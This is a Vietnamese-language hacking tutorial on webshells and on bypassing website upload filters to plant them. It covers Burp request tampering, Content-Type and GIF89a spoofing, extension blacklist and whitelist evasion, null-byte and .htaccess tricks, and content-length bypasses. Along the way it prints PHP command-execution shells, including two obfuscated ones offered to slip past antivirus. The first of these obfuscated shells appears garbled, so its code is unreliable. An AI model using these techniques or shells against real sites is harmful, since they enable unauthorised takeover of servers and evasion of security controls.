WebShell là 1 dạng mã độc, cửa hậu có nhiều chức năng để hỗ trợ các hacker chiếm quyền quản lý các hệ thống website.WebShell thường được viết bằng nhiều loại ngôn ngữ và thường thì chính là ngôn ngữ mà website đó đang sử dụng. Chức năng cơ bản là tải tệp tin lên máy chủ, kết nối đến cơ sở dữ liệu, vượt qua các cơ chế bảo mật, cấu hình, tấn công bruteforce, Get Root, Local Attack… chỉ cần hacker có thể tải được các tệp tin webshell này lên hệ thống của website thì xem như hacker đã có toàn quyền kiểm soát website đó, cho dù không biết tài khoản và mật khẩu của máy chủ này là gì.

Webshell là gì?

Một webshell là một script có thể được tải lên một web server cho phép điều khiển và quản lý từ xa. Các web servers bị nhiễm độc (bị hacker tải webshell lên) có thể là mạng internet hoặc mạng nội bộ, nơi mà các web shells được sử dụng để đi sâu hơn vào các máy chủ(host) nội bộ.

Một web shell có thể được viết bằng một ngôn ngữ bất kỹ nào mà web servers đích hỗ trợ. Các web shell phổ biến nhất được viết bằng những ngôn ngữ cũng phổ biết không kém, ví dụ: PHP, ASP, Perl, Ruby, Python và Unix shell script…

Sử dụng các công cụ thăm dò mạng, hacker có thể xác định xác lỗ hổng có thể tấn công được và tiến hành cài đặt web shell. Ví dụ: Những lỗ hổng này có thể tồn tại trong các hệ thống quản lý nội dung(CMS) hoặc phần mềm web server.

Sau khi đã tải lên thành công, hacker có thể sử dụng web shell để tận dụng các kỹ thuật khai thác khác nhằm nâng cao đặc quyền và ra lệnh từ xa. Các lệnh này liên quan trực tiếp đến các các đặc quyền và chức năng sẵn có của web server, các lệnh đồng thời bao gồm khả năng: thêm, sửa, xóa và thực thi các files cũng như các khả năng chạy các shell commands, các tệp thực thi, scripts.

Làm thể nào để tải lên và sử dụng một webshell?

Kẻ tấn công có thể lợi dụng các lỗ hổng phổ biến để tải webshell lên như:

  • Cross-site Scripting.
  • SQL injection.
  • Lỗ hổng trong các ứng dụng/dịch vụ (ví dụ: wordpress hoặc các ứng cụng CMS khác).
  • Lỗ hổng xử lý tệp (ví dụ: lọc tải lên hoặc những quyền được chỉ định)
  • Lỗ hổng về Remote File Include (RFI) và Local File Include (LFI)
  • Giao diện admin bị lộ (có thể là các khu vực có thể tìm thấy các lỗ hổng được đề cập ở trên).

Web shells được sử dụng cho các mục đích như:

  • Thu thập và lọc dữ liệu nhạy cảm, các thông tin quan trọng.
  • Tải lên các phần mềm độc hại, VD: Một lỗ hổng có khả năng lây lan và scan các nạn nhân tiếp theo.
  • Đóng vai trò như một điểm tự để tạo ra các lệnh cho các hosts trong mạng mà không cần phải truy cập internet trực tiếp.
  • Có chức năng như một cơ sở hạ tầng điều khiển và kiểm soát, có khả năng như một bot trong một mạng botnet.
  • Mặc dù webshell thường không được sử dụng cho các cuộc tấn công DoS, nhưng nó vẫn có thể hoạt động như một platform để tải lên các công cụ khác, bao gồm cả DoS.

How would you bypass uploader protections?

Thường thì các trang web sẽ có chức năng upload file, VD: Là một file ảnh để cập nhật ảnh đại diện. Kẻ tấn công có thể lợi dụng tính năng này để tải shell lên hệ thống. Nhưng các shell tải lên thường bị cản trở bởi một số filters để ngăn chặn khả năng tải lên các tệp độc hại, VD: tải ảnh đại diện thì chỉ cho tải các file có đuôi là .png, .jpg, .jpeg ....

Vì vậy, để tải lên được file như ý thì chúng ta phải vượt qua được các bộ lọc (filters) đó. Và sau đây là các để bypass.

Chúng ta có một số bộ lọc cần vượt quá (Bypass):

  1. Client side filters
  2. Content/type Verification
  3. The extention Black listing
  4. The Extention White listing
  5. The Content length and Malicious script checks
  6. Upload Shell using SQLi
  7. Shell Upload Bypass using LFI

1. Client side filters bypass

Trước tiên chúng ta phải biết “Client side filters” là gì?

Client side filters là các bộ lọc dựa trên trình duyệt hoặc là javascript để xác thực loại tệp được tải lên. Nếu tập tin tải lên không hợp lệ thì sẽ có thông báo lỗi. Tất cả mọi thứ có vẻ hoạt động tốt cho đến khi kẻ tấn công có thể giả mạo yêu cầu trước khi gửi lên máy chủ. Dưới đây là một số thủ thuật để vượt qua Client side filters.

  1. Tắt javascript của trình duyệt (Disable JavaScript in the browser).
  2. HTTP Live Headers to replay the tampered request.
  3. Giả mạo dữ liệu bằng cách sử dụng firefox addon.
  4. Proxify the application and tamper the request.

Vì tất cả cách trên đều là cách bypass và một trong số cách đó sẽ phù hợp với kịch bản và trường hợp bạn cần sử dụng, trong bài này mình sử dụng phương pháp cuối cùng Proxify the application and tamper the request. Nó thiết lập proxy BURP thực sự đơn giản với trình duyệt của bạn và bắt đầu. Tôi sẽ chỉ cho các bạn các bước cơ bản để sử dụng BURP.

Bước 1: Mở Burp proxy và tạo cho nó lắng nghe cổng 8080:

step 1

Bước 2: Cấu hình Firefox của bạn để gửi traffic qua cổng localhost:8080, Tools -> Options -> Advanced -> Network -> Settings make the changes shown in the image

Bạn đã chuyển hướng thành công traffic truy cập thông qua BURP. Bây giờ chọn tab Proxy -> tab Intercept và bật ON Intercept lên nếu nó đang tắt, để bạn có thể thay đổi nội dung request trước khi đến máy chủ.

step 3

Bây giờ giả sử có một trang web mà bạn đang cố tải shell và nó hiển thị lỗi răng bạn chỉ có thể tải lên tệp hình ảnh, chỉ cần đổi tên shell.php của bạn thành shell.php.jpg và tải tệp lên. Khi bạn nhấp vào gửi một yêu cầu sẽ đến BURP. Thay đổi tên tệp trở lại thành shell.php nếu không có kiểm tra phía máy chủ thì bạn sẽ tải được shell của mình lên.

2. Bypass Content/type Verification

  1. Chỉnh sửa Content-Type bằng các sử dụng Request Modification.
  2. Kiểm tra phía máy chủ bằng GIF89a; header.
  3. Tiêm payload của bạn vào Image Metadata/Comment.

Change Content-Type using Request Modification

Nhiều nhà phát triển dự vào request “content-type”, tệp tải lên sẽ kiểm tra content-type và nếu là kiểu Image thì mới được tải lên. Vấn đề ở đây là biến Content-type có thể được thay đổi trước khi đến server. Như bạn có thể thấy trong Image, conten-type là application/octet-stream, thay đổi nó thành image/gif và chờ đợi kết quả.

content-type

Fool Server side check using GIF89a; header

Đôi khi kiểm tra chữ ký nội dung phía máy chủ có thể bị đánh lừa bằng cách sử dụng GIF89a; trong header tệp shell của bạn. Và đây là một ví dụ:

GIF89a;
<?
system($_GET['cmd']);//or you can insert your complete shell code
?>

Inject your payload in Image Metadata/Comments

Có rất nhiều cách hack mà chúng ta có thể thực hiện với tệp hình ảnh, một trong số chúng là đứa payload và metadata header bằng exiftools hoặc bạn có thể sử dụng một công cụ có tên edjpgcom.exe. Sử dụng dòng lệnh edjpgcom.exe yourimagefilename.jpg để thêm comments cho hình ảnh của bạn.

3. Bypassing the Extension Black Listing

Đôi khi các nhà phát triể sử dụng phương pháp liệt kê danh sách đen chống lại việc tải shell lên, vấn đề với việc duyệt danh sách đen luôn giống nhau, và nhiều khi bạn có thể bỏ sót mà quên chặn đi một cái gì đó thì kẻ tấn công có thể bypass ngay. Giả sử các nhà phát triển đang lọc các tệp php không được tải lên server. Tôi sẽ hướng dẫn cho các bạn một số các để bypass nó.

  1. Hãy thử các đuôi file (extentions) khác.
  2. Vượt qua một số bộ lọc của các trường hợp nhạy cảm.
  3. Vượt qua bộ lọc regex.
  4. Thêm shell để thực thi bằng cách sử dụng tệp .htaccess.

Try other executable extensions

Nếu file có đuôi là php thì tôi có thể đổi tên tệp thành shell.php1, shell.php2, shell.php3, shell.phptml, .... Chúng tôi thậm chí có thể thực thi perl shell với phần mở rộng là .pl hoặc .cgi.

Bypass Case Sensitive Filter

Nếu tất cả đều nằm trong danh sách đen, chúng ta có thể thử thay đổi trường hợp để xem bộ lọc có phân biệt chữ hoa hay không, hãy thử:

shell.PhP
shell.Php1
shell.PhP2
shell.pHP2
shell.pHp4
shell.PHp5
shell.PhtMl

Idiotic Regex filter bypass

Lập trình viên có thể tạo một regex chỉ kiểm tra sự .jpg trong tên tệp, vì vậy những trường hợp như vậy có thể bypass bằng cách sử dụng hai lần mở rộng như shell.jpg.php, v.v

Add shell to executable using .htaccess file

Nhưng nếu tôi không may mắn và tất cả các phần mở rộng ở trên không hoạt động thì tôi vẫn có một cách nữa để truy cập trang web bằng tệp .htaccess.

Tệp htaccess la tệp cấu hình máy chủ Apache. Sử dụng một trong các cài đặt của nó, chúng ta có thể thay đổi hành vi loại tệp. Bây giờ, hãy tải file .htaccess lên cùng thư mục.

AddType application/x-httpd-php .shell

4. Bypassing the Extension White Listing

Đôi khi nhà phát triển không cho phép bất kỳ tiện ích mở rộng nào khác ngoài một số tiện ích mở rộng được liệt kê trong white list, chảng hạn như cho phép tải lên những file hình ảnh có đuôi là jpg,jpeg,gif,png,bmp.... Chúng ta có thể thử các thủ thuật sau:

  1. Null Byte Injection
  2. Bypass using Double Extension
  3. Invalid Extension Bypass

Null Byte Injection

Thủ thuật đầu tiên tôi muốn nhắc tới là tiêm NULL byte, khi tôi chèn một tệp shell.php% 00.jpg phần sau %00 bị vô hiệu hóa bởi ngôn ngữ và tệp được tải lên với tên shell.php.

Bypass using Double Extension

Trong một số trường hợp, chúng ta có thể sử dụng shell.php.jpg, shell.php:.jpg, shell.php;.jpg, đôi khi điều này cũng có thể làm cho shell thực thi nhưng thường bị bypass bởi máy chủ web hoặc hệ điều hành. Vì vậy, không thể đổ lỗi cho lập trình viên, nhưng khi tải tập tin lên mà không thay đổi tên tập tin là một điều không chấp nhận được.

Invalid Extension Bypass

Đây là một khai thác phía máy chủ khác, tôi sử dụng các mực độ như .test thì hệ điều hành không nhận ra, thì phần mở rộng đầu tiên được sử dụng. Tức là tôi thử tải lên tệp shell.php.test thì hệ điều hành bỏ qua phần mở rộng .test và thực thi .php.

5. Bypassing the Content Length and Malicious script checks

Content Length Bypass

Đôi khi chúng ta sẽ gặp một số ứng dụng kiểm tra độ dài của nội dung tệp tải lên. Hãy nhớ ràng có một số cách rất dễ dàng để vượt qua cách kiểm tra như vậy. Nếu máy chủ đang kiểm tra đầu vào tệp rất nhỏ thì đây là mã shell nhỏ bạn có thể sử dụng:

<?system($_GET[0]);

Bây giờ nếu kiểm tra kích thước tệp lớn hơn, chúng ta có thể làm cho tệp có nội dung lớn hơn bằng cách chèn rất nhiều rác vào tệp của mình:

Malicious script checks Bypass

Nhiều lần tôi có tải thành công một shell lên một máy chủ nhưng khi tôi quay lại cố truy cập nó, thì phát hiện shell của mình đã bị xóa. Thường thì một số AV (anti virus) hoặc các tệp lệnh độc hại và xóa. bây giờ chúng ta có thể đối phó với nó một cách dễ dàng nhưng tôi đang viết bài này cho những người không biết xử lý vấn đề như thế này. Vì vậy, ở đây chúng ta cần một số kiến thức cơ bản về mã hóa hoặc là biết cách copy/patse. ở đây tôi sử dụng một số tệp lệnh shell hoặc động trong các tình huống như vậy:

Shell-1: Bạn có thể thực thi nó như shell.php?0=system&1=ls

<?
@$_[]=@! _; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((  $__) ($__   ))].=$_;
$_[]=  $__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__ $__)  $_[$__-$__]).($__ $__ $__) $_[$__-$__];
$_[$__ $__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__ $__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__ $__] .=($_[$__][$__ $__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__  $__] ;$_[@-_]($_[@! _] );
?>

Shell-2: Sẽ thực thi như shell.php?_=system&__=ls

<?php
$_="{"; 
$_=($_^"<").($_^">;").($_^"/");
?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

Thậm chí có thể tải lên các đoạn mã php của riêng mình và thực hiện một số thao tác cơ bản.

TRÊN ĐÂY LÀ TOÀN BỘ BÀI HƯỚNG DẪN, HI VỌNG CÓ THỂ GIÚP ÍCH ĐƯỢC CHO BẠN PHẦN NÀO!

Tham khảo: http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html#cententtype-varification-bypass